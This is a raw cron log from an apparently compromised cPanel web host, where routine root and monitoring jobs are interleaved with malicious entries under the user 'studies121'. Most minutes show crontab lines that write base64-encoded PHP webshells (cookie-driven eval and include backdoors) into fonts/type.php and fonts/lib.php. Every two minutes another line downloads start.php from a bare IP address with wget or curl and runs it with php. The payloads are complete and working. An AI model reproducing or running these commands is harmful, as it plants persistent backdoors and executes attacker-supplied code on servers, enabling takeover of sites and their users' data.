Sep  7 10:14:01 ip-184-168-122-23 CROND[7111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:14:01 ip-184-168-122-23 CROND[7112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:14:01 ip-184-168-122-23 CROND[7114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7306]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:15:01 ip-184-168-122-23 CROND[7312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:16:01 ip-184-168-122-23 CROND[7452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:16:01 ip-184-168-122-23 CROND[7454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:16:01 ip-184-168-122-23 CROND[7455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:16:01 ip-184-168-122-23 CROND[7457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:16:01 ip-184-168-122-23 CROND[7458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:16:01 ip-184-168-122-23 CROND[7456]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:17:01 ip-184-168-122-23 CROND[7595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:17:01 ip-184-168-122-23 CROND[7592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:17:01 ip-184-168-122-23 CROND[7593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:17:01 ip-184-168-122-23 CROND[7594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:18:01 ip-184-168-122-23 CROND[7674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:18:01 ip-184-168-122-23 CROND[7672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:18:01 ip-184-168-122-23 CROND[7673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:18:01 ip-184-168-122-23 CROND[7676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:18:01 ip-184-168-122-23 CROND[7675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:19:01 ip-184-168-122-23 CROND[7793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:19:01 ip-184-168-122-23 CROND[7795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:19:01 ip-184-168-122-23 CROND[7794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:19:01 ip-184-168-122-23 CROND[7797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:20:01 ip-184-168-122-23 CROND[7957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:20:01 ip-184-168-122-23 CROND[7959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7960]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:20:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:21:01 ip-184-168-122-23 CROND[8199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:21:01 ip-184-168-122-23 CROND[8198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:21:01 ip-184-168-122-23 CROND[8197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:21:01 ip-184-168-122-23 CROND[8200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:22:01 ip-184-168-122-23 CROND[8309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:22:01 ip-184-168-122-23 CROND[8310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:22:01 ip-184-168-122-23 CROND[8311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:22:01 ip-184-168-122-23 CROND[8312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:22:01 ip-184-168-122-23 CROND[8313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:23:01 ip-184-168-122-23 CROND[8434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:23:01 ip-184-168-122-23 CROND[8436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:23:01 ip-184-168-122-23 CROND[8439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:23:01 ip-184-168-122-23 CROND[8437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:24:01 ip-184-168-122-23 CROND[8538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:24:01 ip-184-168-122-23 CROND[8539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 10:24:01 ip-184-168-122-23 CROND[8541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:24:01 ip-184-168-122-23 CROND[8540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:24:01 ip-184-168-122-23 CROND[8544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8660]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:25:01 ip-184-168-122-23 CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:25:01 ip-184-168-122-23 CROND[8663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
